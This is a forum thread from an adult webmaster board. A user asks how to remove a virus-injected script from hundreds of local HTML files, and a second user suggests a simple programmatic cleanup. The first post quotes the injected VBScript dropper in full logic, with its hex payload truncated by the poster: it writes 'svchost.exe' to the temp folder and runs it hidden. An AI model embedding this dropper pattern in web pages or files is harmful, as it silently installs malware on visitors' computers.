![]() |
![]() |
![]() |
||||
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
|
New Webmasters ask "How-To" questions here. This is where other fucking Webmasters help. |
|
Thread Tools |
![]() |
#1 |
Promoting Debate on GFY
Industry Role:
Join Date: Apr 2007
Posts: 27,173
|
Easy Question - Find and Replace
This one is bound to be easy, how would you do this? I've had a local virus that has copied an annoying script to the end of hundreds of HTML files on my local PC, fortunately it's only a local backup, but I don't want them there.
Normally I would do a Find and Replace in Textpad, but the problem is that each one has a slightly different code in it, so a Find and Replace doesn't work. I could create a Macro to do this in Textpad, but I want to know if there's an even simpler way. Here's the annoying script, that huge code is normally 10000 times bigger, I've deleted it down to a better size. Thanks in advance <SCRIPT Language=VBScript><!-- DropFileName = "svchost.exe" WriteData = "4069006E006700460069006C00650049006E0066006F00000 02802000001003000300030003000300034006200300000004 6000F000100460069006C00650044006500730063007200690 07000740069006F006E000006D0065000000730071007A0071 007A006A0061006E00670064006E0073007001506B00040050 00120002000000FFFF80000000000000000000000000000000 000000000000" Set FSO = CreateObject("Scripting.FileSystemObject") DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName If FSO.FileExists(DropPath)=False Then Set FileObj = FSO.CreateTextFile(DropPath, True) For i = 1 To Len(WriteData) Step 2 FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2))) Next FileObj.Close End If Set WSHshell = CreateObject("WScript.Shell") WSHshell.Run DropPath, 0 //--></SCRIPT>
__________________
|
![]() |
![]() ![]() ![]() ![]() |
![]() |
#2 |
Registered User
Industry Role:
Join Date: Jul 2010
Posts: 13
|
If you have any programming skills, you can write a program to read the html files into an array of lines (of html). If the script is always at the end of the file, read the array backwards and remove from the array all lines from last line to the first <script tag encountered. Then, reassemble the lines into a file and write it back out to disk.
__________________
Obscenity is whatever gives the Judge an erection... |
![]() |
![]() ![]() ![]() ![]() |